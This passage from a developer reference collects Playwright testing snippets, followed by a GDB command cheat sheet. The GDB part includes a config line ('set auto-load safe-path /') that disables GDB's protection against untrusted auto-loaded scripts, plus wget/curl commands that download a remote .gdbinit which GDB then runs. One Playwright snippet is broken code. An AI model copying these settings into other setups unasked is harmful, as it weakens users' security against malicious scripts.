    await this.page.getByRole('menuitem', { name: 'Logout' }).click();
  }

  async getNotificationCount(): Promise<number> {
    const badge = this.notifications.locator('.badge');
    const text = await badge.textContent();
    return parseInt(text || '0');
  }

  async clickNotification(index: number) {
    await this.notifications.click();
    await this.page.locator('.notification-item').nth(index).click();
  }
}

// components/SearchComponent.ts
import { Locator, Page } from '@playwright/test';

export class SearchComponent {
  readonly container: Locator;
  readonly input: Locator;
  readonly submitButton: Locator;
  readonly results: Locator;

  constructor(page: Page, containerSelector: string = '.search-component') {
    this.container = page.locator(containerSelector);
    this.input = this.container.getByPlaceholder('Search...');
    this.submitButton = this.container.getByRole('button', { name: 'Search' });
    this.results = this.container.locator('.search-results');
  }

  async search(query: string) {
    await this.input.fill(query);
    await this.submitButton.click();
    await this.results.waitFor({ state: 'visible' });
  }

  async getResultCount(): Promise<number> {
    const items = this.results.locator('.result-item');
    return await items.count();
  }

  async clickResult(index: number) {
    await this.results.locator('.result-item').nth(index).click();
  }
}

// Use in page objects
import { SearchComponent } from '../components/SearchComponent';

export class ProductsPage {
  readonly page: Page;
  readonly search: SearchComponent;

  constructor(page: Page) {
    this.page = page;
    this.search = new SearchComponent(page, '.products-search');
  }

  async goto() {
    await this.page.goto('/products');
  }
}

// fixtures/users.json
{
  "validUser": {
    "email": "user@example.com",
    "password": "password123",
    "name": "Test User"
  },
  "adminUser": {
    "email": "admin@example.com",
    "password": "admin123",
    "role": "admin"
  }
}

// Use in tests
import users from './fixtures/users.json';

test('login as valid user', async ({ page }) => {
  await page.goto('/login');
  await page.fill('[name="email"]', users.validUser.email);
  await page.fill('[name="password"]', users.validUser.password);
  await page.click('button[type="submit"]');
});

import { faker } from '@faker-js/faker';

test('user registration', async ({ page }) => {
  const user = {
    firstName: faker.person.firstName(),
    lastName: faker.person.lastName(),
    email: faker.internet.email(),
    password: faker.internet.password(),
  };

  await page.goto('/signup');
  await page.fill('[name="firstName"]', user.firstName);
  await page.fill('[name="lastName"]', user.lastName);
  await page.fill('[name="email"]', user.email);
  await page.fill('[name="password"]', user.password);
  await page.click('button[type="submit"]');

  await expect(page.locator('.success-message')).toBeVisible();
});

// helpers/db.ts
import { PrismaClient } from '@prisma/client';

const prisma = new PrismaClient();

export async function seedTestData() {
  await prisma.user.createMany({
    data: [
      { email: 'user1@example.com', name: 'User 1' },
      { email: 'user2@example.com', name: 'User 2' },
    ],
  });
}

export async function cleanDatabase() {
  await prisma.user.deleteMany();
  await prisma.order.deleteMany();
}

// Use in tests
import { seedTestData, cleanDatabase } from './helpers/db';

test.beforeEach(async () => {
  await cleanDatabase();
  await seedTestData();
});

test.afterEach(async () => {
  await cleanDatabase();
});

// helpers/api.ts
export async function createUser(userData: any) {
  const response = await fetch('http://localhost:3000/api/users', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(userData),
  });
  return response.json();
}

export async function deleteUser(userId: string) {
  await fetch(`http://localhost:3000/api/users/${userId}`, {
    method: 'DELETE',
  });
}

// Use in tests
test('user profile', async ({ page }) => {
  // Setup: Create user via API
  const user = await createUser({
    email: 'test@example.com',
    name: 'Test User',
  });

  // Test: Navigate and verify
  await page.goto(`/users/${user.id}`);
  await expect(page.locator('h1')).toContainText(user.name);

  // Cleanup: Delete user via API
  await deleteUser(user.id);
});

// auth.setup.ts
import { test as setup } from '@playwright/test';

const authFile = 'playwright/.auth/user.json';

setup('authenticate', async ({ page }) => {
  await page.goto('/login');
  await page.fill('[name="email"]', 'user@example.com');
  await page.fill('[name="password"]', 'password123');
  await page.click('button[type="submit"]');

  await page.waitForURL('**/dashboard');

  // Save signed-in state
  await page.context().storageState({ path: authFile });
});

// playwright.config.ts
export default defineConfig({
  projects: [
    // Setup project
    { name: 'setup', testMatch: /.*\.setup\.ts/ },

    // Authenticated tests
    {
      name: 'chromium',
      use: {
        ...devices['Desktop Chrome'],
        storageState: authFile,
      },
      dependencies: ['setup'],
    },
  ],
});

// Tests automatically use authenticated state
test('access protected page', async ({ page }) => {
  await page.goto('/profile'); // Already logged in
  await expect(page.locator('h1')).toContainText('My Profile');
});

// Setup for different roles
const adminAuthFile = 'playwright/.auth/admin.json';
const userAuthFile = 'playwright/.auth/user.json';

setup('authenticate as admin', async ({ page }) => {
  await page.goto('/login');
  await page.fill('[name="email"]', 'admin@example.com');
  await page.fill('[name="password"]', 'admin123');
  await page.click('button[type="submit"]');
  await page.context().storageState({ path: adminAuthFile });
});

setup('authenticate as user', async ({ page }) => {
  await page.goto('/login');
  await page.fill('[name="email"]', 'user@example.com');
  await page.fill('[name="password"]', 'user123');
  await page.click('button[type="submit"]');
  await page.context().storageState({ path: userAuthFile });
});

// Configure projects
projects: [
  {
    name: 'admin-tests',
    use: { storageState: adminAuthFile },
    testMatch: /admin.*.spec.ts/,
  },
  {
    name: 'user-tests',
    use: { storageState: userAuthFile },
    testMatch: /user.*.spec.ts/,
  },
]

// For API token auth
test.use({
  extraHTTPHeaders: {
    'Authorization': 'Bearer your-token-here',
  },
});

// Or set cookies directly
test.beforeEach(async ({ context }) => {
  await context.addCookies([
    {
      name: 'auth_token',
      value: 'your-token-value',
      domain: 'localhost',
      path: '/',
      httpOnly: true,
      secure: false,
      sameSite: 'Lax',
    },
  ]);
});

// Bad: Hard-coded wait
await page.waitForTimeout(5000);

// Good: Wait for specific condition
await page.waitForSelector('[data-testid="result"]');
await page.waitForLoadState('networkidle');

// Better: Wait for specific API response
await page.waitForResponse(response =>
  response.url().includes('/api/data') && response.status() === 200
);

// Wait for animations to complete
await page.locator('.modal').waitFor({ state: 'visible' });
await page.locator('.modal').evaluate(el => {
  return Promise.all(el.getAnimations().map(animation => animation.finished));
});

// Wait for element to stop moving
const element = page.locator('.draggable');
await element.waitFor({ state: 'visible' });

// Playwright auto-waits for stability
await element.click(); // Waits for element to stop animating

// Bad: Tests share state
test('create user', async ({ page }) => {
  // Creates user in database
});

test('verify user exists', async ({ page }) => {
  // Depends on previous test
});

// Good: Each test independent
test.beforeEach(async () => {
  await cleanDatabase();
  await seedTestData();
});

test('create user', async ({ page }) => {
  // Creates its own test data
});

test('verify user', async ({ page }) => {
  // Creates its own test data
});

// Mock third-party API
await page.route('**/api/external/**', route => {
  route.fulfill({
    status: 200,
    body: JSON.stringify({ data: 'mocked response' }),
  });
});

// Mock time-based functionality
await page.addInitScript(() => {
  const now = new Date('2024-01-01T12:00:00Z').getTime();
  Date.now = () => now;
});

// Retry assertion with custom timeout
await expect(async () => {
  const count = await page.locator('.item').count();
  expect(count).toBeGreaterThan(0);
}).toPass({
  timeout: 10000,
  intervals: [1000, 2000, 3000],
});

// Retry flaky action
async function retryClick(locator: Locator, maxAttempts = 3) {
  for (let i = 0; i < maxAttempts; i++) {
    try {
      await locator.click({ timeout: 5000 });
      return;
    } catch (error) {
      if (i === maxAttempts - 1) throw error;
      await page.waitForTimeout(1000);
    }
  }
}

// playwright.config.ts
export default defineConfig({
  retries: process.env.CI ? 2 : 0, // Retry twice in CI
});

// Per-test retries
test('flaky test', async ({ page }) => {
  test.info().annotations.push({ type: 'issue', description: 'Flaky test' });
  // test code
});

async function waitForCondition(
  condition: () => Promise<boolean>,
  options: { timeout?: number; interval?: number } = {}
) {
  const { timeout = 30000, interval = 1000 } = options;
  const startTime = Date.now();

  while (Date.now() - startTime < timeout) {
    if (await condition()) {
      return true;
    }
    await new Promise(resolve => setTimeout(resolve, interval));
  }

  throw new Error('Condition not met within timeout');
}

// Usage
await waitForCondition(async () => {
  const count = await page.locator('.item').count();
  return count > 0;
}, { timeout: 10000, interval: 500 });

async function retryWithBackoff<T>(
  fn: () => Promise<T>,
  maxRetries = 3,
  baseDelay = 1000
): Promise<T> {
  for (let i = 0; i < maxRetries; i++) {
    try {
      return await fn();
    } catch (error) {
      if (i === maxRetries - 1) throw error;
      const delay = baseDelay * Math.pow(2, i);
      await new Promise(resolve => setTimeout(resolve, delay));
    }
  }
  throw new Error('Max retries exceeded');
}

// Usage
await retryWithBackoff(async () => {
  await page.click('[data-testid="submit"]');
  await expect(page.locator('.success')).toBeVisible({ timeout: 5000 });
});

// Basic screenshot comparison
test('visual regression', async ({ page }) => {
  await page.goto('/');
  await expect(page).toHaveScreenshot('homepage.png');
});

// Element screenshot comparison
test('button visual', async ({ page }) => {
  await page.goto('/components');
  const button = page.getByRole('button', { name: 'Submit' });
  await expect(button).toHaveScreenshot('submit-button.png');
});

// With threshold for minor differences
test('with threshold', async ({ page }) => {
  await page.goto('/');
  await expect(page).toHaveScreenshot('homepage.png', {
    maxDiffPixels: 100, // Allow up to 100 different pixels
  });
});

// Full page screenshot
test('full page', async ({ page }) => {
  await page.goto('/');
  await expect(page).toHaveScreenshot('fullpage.png', {
    fullPage: true,
  });
});

// Mask dynamic elements
test('with masks', async ({ page }) => {
  await page.goto('/dashboard');
  await expect(page).toHaveScreenshot('dashboard.png', {
    mask: [page.locator('.timestamp'), page.locator('.user-avatar')],
  });
});

npm install --save-dev @percy/cli @percy/playwright

import percySnapshot from '@percy/playwright';

test('percy snapshot', async ({ page }) => {
  await page.goto('/');
  await percySnapshot(page, 'Homepage');
});

test('responsive snapshots', async ({ page }) => {
  await page.goto('/');
  await percySnapshot(page, 'Homepage', {
    widths: [375, 768, 1280],
  });
});

# Update all screenshots
npx playwright test --update-snapshots

# Update specific test
npx playwright test visual.spec.ts --update-snapshots

// Custom snapshot path
test('homepage', async ({ page }) => {
  await page.goto('/');
  await expect(page).toHaveScreenshot({
    name: 'homepage/desktop.png',
  });
});

// Platform-specific snapshots
test('cross-platform', async ({ page }) => {
  await page.goto('/');
  await expect(page).toHaveScreenshot(); // Automatically organized by platform
});

npm install --save-dev @axe-core/playwright

import { test, expect } from '@playwright/test';
import AxeBuilder from '@axe-core/playwright';

test('should not have accessibility violations', async ({ page }) => {
  await page.goto('/');

  const accessibilityScanResults = await new AxeBuilder({ page })
    .analyze();

  expect(accessibilityScanResults.violations).toEqual([]);
});

// Test specific regions
test('header accessibility', async ({ page }) => {
  await page.goto('/');

  const results = await new AxeBuilder({ page })
    .include('header')
    .analyze();

  expect(results.violations).toEqual([]);
});

// Disable specific rules
test('with exceptions', async ({ page }) => {
  await page.goto('/');

  const results = await new AxeBuilder({ page })
    .disableRules(['color-contrast']) // Disable specific rule
    .analyze();

  expect(results.violations).toEqual([]);
});

// Test specific WCAG level
test('WCAG AA compliance', async ({ page }) => {
  await page.goto('/');

  const results = await new AxeBuilder({ page })
    .withTags(['wcag2aa'])
    .analyze();

  expect(results.violations).toEqual([]);
});

test('keyboard navigation', async ({ page }) => {
  await page.goto('/');

  // Tab through interactive elements
  await page.keyboard.press('Tab');
  await expect(page.locator(':focus')).toHaveAttribute('href', '/about');

  await page.keyboard.press('Tab');
  await expect(page.locator(':focus')).toHaveAttribute('href', '/contact');

  // Press Enter to activate
  await page.keyboard.press('Enter');
  await expect(page).toHaveURL(/.*contact/);
});

test('escape key closes modal', async ({ page }) => {
  await page.goto('/');
  await page.click('[data-testid="open-modal"]');

  await expect(page.locator('.modal')).toBeVisible();

  await page.keyboard.press('Escape');

  await expect(page.locator('.modal')).not.toBeVisible();
});

test('aria labels', async ({ page }) => {
  await page.goto('/');

  // Check for proper ARIA labels
  const searchButton = page.getByRole('button', { name: 'Search' });
  await expect(searchButton).toHaveAttribute('aria-label', 'Search');

  // Check for descriptive text
  const menuButton = page.getByRole('button', { name: /menu/i });
  await expect(menuButton).toHaveAttribute('aria-expanded', 'false');

  await menuButton.click();
  await expect(menuButton).toHaveAttribute('aria-expanded', 'true');
});

test('live regions', async ({ page }) => {
  await page.goto('/');

  const liveRegion = page.locator('[aria-live="polite"]');
  await expect(liveRegion).toBeEmpty();

  await page.click('[data-testid="trigger-notification"]');

  await expect(liveRegion).toContainText('Action completed');
});

// playwright.config.ts
export default defineConfig({
  projects: [
    {
      name: 'chromium',
      use: { ...devices['Desktop Chrome'] },
    },
    {
      name: 'firefox',
      use: { ...devices['Desktop Firefox'] },
    },
    {
      name: 'webkit',
      use: { ...devices['Desktop Safari'] },
    },
    {
      name: 'edge',
      use: { ...devices['Desktop Edge'], channel: 'msedge' },
    },
  ],
});

# Run all browsers
npx playwright test

# Run specific browser
npx playwright test --project=chromium
npx playwright test --project=firefox

# Run multiple specific browsers
npx playwright test --project=chromium --project=firefox

test('chromium-only feature', async ({ page, browserName }) => {
  test.skip(browserName !== 'chromium', 'Chromium-only feature');

  await page.goto('/');
  // Test chromium-specific feature
});

test.describe('cross-browser tests', () => {
  test('works in all browsers', async ({ page }) => {
    await page.goto('/');
    await expect(page.locator('h1')).toBeVisible();
  });
});

// Browser-specific configuration
test.use({
  ...test.use(),
  ...(browserName === 'webkit' && { locale: 'en-US' }),
});

test('handle browser differences', async ({ page, browserName }) => {
  await page.goto('/');

  if (browserName === 'webkit') {
    // Safari-specific workaround
    await page.waitForTimeout(1000);
  }

  await page.click('[data-testid="button"]');
  await expect(page.locator('.result')).toBeVisible();
});

// playwright.config.ts
import { devices } from '@playwright/test';

export default defineConfig({
  projects: [
    {
      name: 'Mobile Chrome',
      use: { ...devices['Pixel 5'] },
    },
    {
      name: 'Mobile Safari',
      use: { ...devices['iPhone 13'] },
    },
    {
      name: 'Tablet',
      use: { ...devices['iPad Pro'] },
    },
  ],
});

test.use({
  viewport: { width: 375, height: 667 },
  deviceScaleFactor: 2,
  isMobile: true,
  hasTouch: true,
  userAgent: 'Mozilla/5.0...',
});

test('mobile layout', async ({ page }) => {
  await page.goto('/');

  // Mobile menu should be visible
  await expect(page.locator('.mobile-menu-button')).toBeVisible();

  // Desktop menu should be hidden
  await expect(page.locator('.desktop-menu')).not.toBeVisible();
});

test('swipe gesture', async ({ page }) => {
  await page.goto('/gallery');

  const carousel = page.locator('.carousel');

  // Swipe left
  await carousel.hover();
  await page.mouse.down();
  await page.mouse.move(100, 0);
  await page.mouse.up();

  await expect(page.locator('.carousel-item-2')).toBeVisible();
});

test('tap gesture', async ({ page }) => {
  await page.goto('/');

  // Tap element
  await page.locator('[data-testid="button"]').tap();

  await expect(page.locator('.result')).toBeVisible();
});

test('pinch zoom', async ({ page }) => {
  await page.goto('/image');

  const image = page.locator('img');

  // Simulate pinch zoom
  await page.touchscreen.tap(100, 100);
  // Pinch gesture implementation varies by framework
});

test('landscape orientation', async ({ page }) => {
  await page.setViewportSize({ width: 667, height: 375 });

  await page.goto('/');

  await expect(page.locator('.landscape-layout')).toBeVisible();
});

test('portrait orientation', async ({ page }) => {
  await page.setViewportSize({ width: 375, height: 667 });

  await page.goto('/');

  await expect(page.locator('.portrait-layout')).toBeVisible();
});

const viewports = [
  { name: 'mobile', width: 375, height: 667 },
  { name: 'tablet', width: 768, height: 1024 },
  { name: 'desktop', width: 1920, height: 1080 },
];

for (const viewport of viewports) {
  test(`responsive design on ${viewport.name}`, async ({ page }) => {
    await page.setViewportSize({ width: viewport.width, height: viewport.height });
    await page.goto('/');

    // Verify layout adapts correctly
    const screenshot = await page.screenshot();
    expect(screenshot).toMatchSnapshot(`${viewport.name}-layout.png`);
  });
}

# .github/workflows/playwright.yml
name: Playwright Tests

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main, develop]

jobs:
  test:
    timeout-minutes: 60
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-node@v4
        with:
          node-version: 18

      - name: Install dependencies
        run: npm ci

      - name: Install Playwright Browsers
        run: npx playwright install --with-deps

      - name: Run Playwright tests
        run: npx playwright test

      - name: Upload Playwright Report
        uses: actions/upload-artifact@v4
        if: always()
        with:
          name: playwright-report
          path: playwright-report/
          retention-days: 30

      - name: Upload test results
        uses: actions/upload-artifact@v4
        if: always()
        with:
          name: test-results
          path: test-results/

FROM mcr.microsoft.com/playwright:v1.40.0-jammy

WORKDIR /app

# Copy package files
COPY package*.json ./

# Install dependencies
RUN npm ci

# Copy source code
COPY . .

# Run tests
CMD ["npx", "playwright", "test"]

version: '3.8'

services:
  playwright:
    build: .
    volumes:
      - ./test-results:/app/test-results
      - ./playwright-report:/app/playwright-report
    environment:
      - CI=true
      - BASE_URL=http://web:3000
    depends_on:
      - web

  web:
    image: nginx:alpine
    ports:
      - "3000:80"
    volumes:
      - ./public:/usr/share/nginx/html

# Build and run
docker-compose up --abort-on-container-exit

# Run specific tests
docker-compose run playwright npx playwright test auth.spec.ts

// playwright.config.ts
export default defineConfig({
  workers: process.env.CI ? 4 : undefined,
  fullyParallel: true,

  // Shard tests across multiple machines
  shard: process.env.CI ? {
    current: parseInt(process.env.SHARD_INDEX || '1'),
    total: parseInt(process.env.SHARD_TOTAL || '1'),
  } : undefined,
});

jobs:
  test:
    strategy:
      matrix:
        shardIndex: [1, 2, 3, 4]
        shardTotal: [4]
    steps:
      - name: Run Playwright tests
        run: npx playwright test
        env:
          SHARD_INDEX: ${{ matrix.shardIndex }}
          SHARD_TOTAL: ${{ matrix.shardTotal }}

// playwright.config.ts
export default defineConfig({
  reporter: [
    ['html', { outputFolder: 'playwright-report', open: 'never' }],
    ['json', { outputFile: 'test-results.json' }],
    ['junit', { outputFile: 'test-results.xml' }],
  ],
});

// custom-reporter.ts
import { Reporter, TestCase, TestResult } from '@playwright/test/reporter';

class CustomReporter implements Reporter {
  onTestEnd(test: TestCase, result: TestResult) {
    console.log(`Test: ${test.title}`);
    console.log(`Status: ${result.status}`);
    console.log(`Duration: ${result.duration}ms`);
  }

  onEnd() {
    console.log('All tests completed');
  }
}

export default CustomReporter;

// playwright.config.ts
export default defineConfig({
  reporter: [
    ['./custom-reporter.ts'],
    ['html'],
  ],
});

// Good
await page.getByRole('button', { name: 'Submit' }).click();
await page.getByLabel('Email').fill('test@example.com');
await page.getByText('Welcome back').click();

// Avoid
await page.click('.btn-primary-submit-form-action');
await page.fill('#input_23847');

// Good
test('create user', async ({ page }) => {
  await createUser();
  await verifyUserCreated();
  await deleteUser();
});

// Bad
test('create user', async ({ page }) => {
  await createUser();
});

test('verify user exists', async ({ page }) => {
  await verifyUserCreated(); // Depends on previous test
});

// Good
const loginPage = new LoginPage(page);
await loginPage.login('user@example.com', 'password');

// Avoid
await page.fill('#email', 'user@example.com');
await page.fill('#password', 'password');
await page.click('.login-button');

// Good
await page.waitForSelector('[data-testid="result"]');
await page.waitForLoadState('networkidle');

// Bad
await page.waitForTimeout(3000);

// Good - Tests user behavior
test('user can purchase product', async ({ page }) => {
  await page.goto('/products');
  await page.click('[data-testid="product-1"]');
  await page.click('[data-testid="add-to-cart"]');
  await page.click('[data-testid="checkout"]');
  await fillPaymentDetails(page);
  await page.click('[data-testid="complete-order"]');

  await expect(page.locator('.success-message')).toBeVisible();
});

// Bad - Tests implementation details
test('cart state updates correctly', async ({ page }) => {
  await page.evaluate(() => {
    window.store.dispatch({ type: 'ADD_TO_CART', payload: { id: 1 } });
  });
  // Testing internals, not user behavior
});

// Bad
await page.click('//div[@class="container"]//button[contains(@class, "submit")]');

// Good
await page.getByRole('button', { name: 'Submit' }).click();

// Bad
test('user journey', async ({ page }) => {
  // Test signup
  // Test login
  // Test profile update
  // Test password change
  // Test logout
  // 100+ lines of test code
});

// Good - Split into focused tests
test('user can signup', async ({ page }) => { /* ... */ });
test('user can login', async ({ page }) => { /* ... */ });
test('user can update profile', async ({ page }) => { /* ... */ });

// Bad
test('create user', async ({ page }) => {
  await createUser();
  // No cleanup - pollutes database
});

// Good
test('create user', async ({ page }) => {
  const user = await createUser();

  // Test code

  await deleteUser(user.id);
});

// Bad - Breaks when styles change
await page.click('.btn-blue-rounded-lg-submit');

// Good - Uses semantic selectors
await page.getByRole('button', { name: 'Submit' }).click();

// Bad
await page.waitForTimeout(1000);
await page.click('button');

// Good - Playwright waits automatically
await page.click('button');

// playwright.config.ts
export default defineConfig({
  fullyParallel: true,
  workers: 4, // Run 4 tests concurrently
});

// Slow - New browser per test
test('test 1', async ({ page }) => { /* ... */ });
test('test 2', async ({ page }) => { /* ... */ });

// Faster - Reuse browser, new context per test (default)
test.describe.configure({ mode: 'parallel' });

// Slow - Login in every test
test('test 1', async ({ page }) => {
  await login(page);
  // test code
});

// Fast - Login once, reuse state
test.use({ storageState: 'auth.json' });
test('test 1', async ({ page }) => {
  // Already logged in
});

// Slow - Real API calls
test('test', async ({ page }) => {
  await page.goto('/'); // Calls real APIs
});

// Fast - Mocked responses
test('test', async ({ page }) => {
  await page.route('**/api/slow-endpoint', route => {
    route.fulfill({ body: JSON.stringify({ data: 'mocked' }) });
  });
  await page.goto('/');
});

test.beforeEach(async ({ page }) => {
  // Block images, fonts, analytics
  await page.route('**/*.{png,jpg,jpeg,gif,svg,woff,woff2}', route => route.abort());
  await page.route('**/analytics.js', route => route.abort());
  await page.route('**/tracking/**', route => route.abort());
});

// Slow - Opens visible browser
npx playwright test --headed

// Fast - Headless by default
npx playwright test

test('measure page load time', async ({ page }) => {
  const startTime = Date.now();

  await page.goto('/');
  await page.waitForLoadState('networkidle');

  const loadTime = Date.now() - startTime;
  console.log(`Page load time: ${loadTime}ms`);

  expect(loadTime).toBeLessThan(3000); // Assert performance
});

test('track specific metrics', async ({ page }) => {
  await page.goto('/');

  const metrics = await page.evaluate(() => {
    const navigation = performance.getEntriesByType('navigation')[0] as PerformanceNavigationTiming;
    return {
      domContentLoaded: navigation.domContentLoadedEventEnd - navigation.fetchStart,
      loadComplete: navigation.loadEventEnd - navigation.fetchStart,
      firstPaint: performance.getEntriesByType('paint')[0]?.startTime,
    };
  });

  console.log(metrics);
  expect(metrics.loadComplete).toBeLessThan(5000);
});

# Run with debugger
PWDEBUG=1 npx playwright test

# Debug specific test
npx playwright test --debug test-name.spec.ts

# Debug from specific line
# Add: await page.pause();
test('debug test', async ({ page }) => {
  await page.goto('/');
  await page.pause(); // Debugger opens here
  await page.click('button');
});

# Run tests in UI mode
npx playwright test --ui

# Features:
# - Watch mode
# - Time travel
# - Pick locator
# - View traces
# - Edit tests

// .vscode/launch.json
{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "Playwright Test",
      "program": "${workspaceFolder}/node_modules/@playwright/test/cli.js",
      "args": ["test", "--headed", "${file}"],
      "console": "integratedTerminal",
      "internalConsoleOptions": "neverOpen"
    }
  ]
}

// Capture browser console
page.on('console', msg => {
  console.log(`Browser log: ${msg.type()} ${msg.text()}`);
});

// Capture page errors
page.on('pageerror', error => {
  console.log(`Page error: ${error.message}`);
});

// Capture network failures
page.on('requestfailed', request => {
  console.log(`Failed request: ${request.url()}`);
});

// Take screenshot on failure
test('example', async ({ page }, testInfo) => {
  try {
    await page.goto('/');
    // test code
  } catch (error) {
    await page.screenshot({
      path: `failures/${testInfo.title}.png`,
      fullPage: true
    });
    throw error;
  }
});

// Automatic screenshots (in config)
use: {
  screenshot: 'only-on-failure',
  video: 'retain-on-failure',
}

# Record trace
npx playwright test --trace on

# View trace
npx playwright show-trace trace.zip

# Debug mode
DEBUG=pw:api npx playwright test

# More verbose
DEBUG=pw:* npx playwright test

# Specific module
DEBUG=pw:browser npx playwright test

// 1. Slow down execution
test.use({
  launchOptions: {
    slowMo: 1000 // 1 second delay between actions
  }
});

// 2. Keep browser open on failure
test.use({
  launchOptions: {
    headless: false,
    devtools: true
  }
});

// 3. Log element state
const button = page.locator('button');
console.log('Visible:', await button.isVisible());
console.log('Enabled:', await button.isEnabled());
console.log('Text:', await button.textContent());

// 4. Wait and inspect
await page.pause(); // Opens inspector
await page.waitForTimeout(5000); // Manual wait to inspect

// 5. Take intermediate screenshots
await page.screenshot({ path: 'step1.png' });
// ... actions ...
await page.screenshot({ path: 'step2.png' });

# Playwright
npx playwright test                    # Run all tests
npx playwright test --headed          # Run with visible browser
npx playwright test --debug           # Debug mode
npx playwright test --ui              # UI mode
npx playwright show-report            # Show HTML report
npx playwright codegen                # Record tests

# Cypress
npx cypress open                      # Open Test Runner
npx cypress run                       # Run headless
npx cypress run --headed              # Run headed
npx cypress run --browser chrome      # Specific browser

# Ubuntu/Debian
sudo apt update
sudo apt install gdb

# macOS (or use lldb)
brew install gdb

# CentOS/RHEL
sudo yum install gdb

# Arch Linux
sudo pacman -S gdb

# Verify installation
gdb --version

# Compile with debug symbols (-g flag)
gcc -g program.c -o program
g++ -g program.cpp -o program

# Disable optimization for better debugging
gcc -g -O0 program.c -o program

# With all warnings
gcc -g -O0 -Wall -Wextra program.c -o program

# For C++ with debug symbols
g++ -g -std=c++17 program.cpp -o program

# Start GDB with program
gdb ./program

# With arguments
gdb --args ./program arg1 arg2

# Attach to running process
gdb -p <pid>
gdb attach <pid>

# Analyze core dump
gdb ./program core

# Quiet mode (no intro message)
gdb -q ./program

# Running the program
(gdb) run                    # Start program
(gdb) run arg1 arg2          # Start with arguments
(gdb) start                  # Start and break at main()
(gdb) continue               # Continue execution (c)
(gdb) kill                   # Kill running program
(gdb) quit                   # Exit GDB (q)

# Breakpoints
(gdb) break main             # Break at function
(gdb) break main.c:42        # Break at line in file
(gdb) break *0x400500        # Break at address
(gdb) tbreak main            # Temporary breakpoint
(gdb) info breakpoints       # List breakpoints (info b)
(gdb) delete 1               # Delete breakpoint 1 (d 1)
(gdb) delete                 # Delete all breakpoints
(gdb) disable 1              # Disable breakpoint 1
(gdb) enable 1               # Enable breakpoint 1

# Stepping
(gdb) step                   # Step into (s)
(gdb) next                   # Step over (n)
(gdb) finish                 # Run until function returns
(gdb) until 50               # Run until line 50
(gdb) stepi                  # Step one instruction (si)
(gdb) nexti                  # Next instruction (ni)

# Examining code
(gdb) list                   # Show source code (l)
(gdb) list main              # List function
(gdb) list 42                # List around line 42
(gdb) disassemble            # Show assembly
(gdb) disassemble main       # Disassemble function

# Stack and frames
(gdb) backtrace              # Show call stack (bt)
(gdb) frame 0                # Switch to frame 0 (f 0)
(gdb) up                     # Move up stack frame
(gdb) down                   # Move down stack frame
(gdb) info frame             # Current frame info
(gdb) info args              # Function arguments
(gdb) info locals            # Local variables

# Print variables
(gdb) print variable         # Print variable (p)
(gdb) print *pointer         # Dereference pointer
(gdb) print array[5]         # Array element
(gdb) print struct.member    # Structure member

# Different formats
(gdb) print/x variable       # Hexadecimal
(gdb) print/d variable       # Decimal
(gdb) print/t variable       # Binary
(gdb) print/c variable       # Character
(gdb) print/f variable       # Float
(gdb) print/s string_ptr     # String

# Display (auto-print on each stop)
(gdb) display variable       # Auto-display variable
(gdb) info display           # Show display list
(gdb) undisplay 1            # Remove display 1

# Examine memory
(gdb) x/10x $rsp             # Examine 10 hex words at stack pointer
(gdb) x/10i main             # Examine 10 instructions at main
(gdb) x/s string_ptr         # Examine string
(gdb) x/10b buffer           # Examine 10 bytes

# Format: x/[count][format][size] address
# Format: x=hex, d=decimal, i=instruction, s=string, c=char
# Size: b=byte, h=halfword, w=word, g=giant (8 bytes)

# Set variables
(gdb) set variable x = 42    # Set variable value
(gdb) set $i = 0             # Set convenience variable

# Watch for changes
(gdb) watch variable         # Break when variable changes
(gdb) rwatch variable        # Break when variable is read
(gdb) awatch variable        # Break on read or write

# Conditional watchpoint
(gdb) watch x if x > 100

# Info and delete
(gdb) info watchpoints       # List watchpoints
(gdb) delete 2               # Delete watchpoint 2

# Set conditional breakpoint
(gdb) break main.c:42 if x == 5

# Add condition to existing breakpoint
(gdb) condition 1 x == 5

# Remove condition
(gdb) condition 1

# Commands to execute at breakpoint
(gdb) commands 1
> print x
> continue
> end

# Ignore breakpoint N times
(gdb) ignore 1 10            # Ignore first 10 hits

# Thread information
(gdb) info threads           # List all threads
(gdb) thread 3               # Switch to thread 3
(gdb) thread apply all bt    # Backtrace all threads
(gdb) thread apply all print x

# Thread-specific breakpoints
(gdb) break main.c:42 thread 2

# Non-stop mode (continue while other threads stop)
(gdb) set non-stop on

# Generate core dump
ulimit -c unlimited          # Enable core dumps

# Debug core dump
gdb ./program core

# In GDB
(gdb) bt                     # See where it crashed
(gdb) frame 0                # Examine crash frame
(gdb) print variable         # Check variable values
(gdb) info registers         # CPU registers at crash

# Record execution
(gdb) record                 # Start recording
(gdb) record stop            # Stop recording

# Reverse execution
(gdb) reverse-step           # Step backward (rs)
(gdb) reverse-next           # Next backward (rn)
(gdb) reverse-continue       # Continue backward (rc)
(gdb) reverse-finish         # Reverse to function call

# Save program state
(gdb) checkpoint             # Create checkpoint
(gdb) info checkpoints       # List checkpoints
(gdb) restart 1              # Restore checkpoint 1
(gdb) delete checkpoint 1    # Delete checkpoint

# Python in GDB
(gdb) python print("Hello from GDB")

# Load Python script
(gdb) source script.py

# Python example
(gdb) python
> for i in range(5):
>     gdb.execute("print $i++")
> end

# ~/.gdbinit
set history save on
set history size 10000
set history filename ~/.gdb_history
set print pretty on
set print array on
set print array-indexes on
set python print-stack full

# Auto-load local .gdbinit
set auto-load safe-path /

# Custom commands
define phead
    print *($arg0)->head
end

define ptail
    print *($arg0)->tail
end

# Install GDB Dashboard
wget -P ~ https://git.io/.gdbinit

# Or with curl
curl -sSL https://git.io/.gdbinit > ~/.gdbinit

# Customization in ~/.gdbinit.d/init

# Run program
(gdb) run

# When it crashes
Program received signal SIGSEGV, Segmentation fault.

# Check where it crashed
(gdb) backtrace

# Examine the failing instruction
(gdb) frame 0
(gdb) list

# Check variables
(gdb) print pointer
(gdb) print *pointer          # This might fail if NULL

# Check registers
(gdb) info registers

# Set breakpoint at allocation
(gdb) break malloc
(gdb) commands
> backtrace
> continue
> end

# Set breakpoint at free
(gdb) break free
(gdb) commands
> backtrace
> continue
> end

# Or use Valgrind instead

# Start program
(gdb) run

# Interrupt (Ctrl+C)
^C
Program received signal SIGINT

# Check where it's stuck
(gdb) backtrace
(gdb) list

# Set breakpoint and check variable changes
(gdb) break main.c:loop_line
(gdb) commands
> print loop_var
> continue
> end

# Catch specific signal
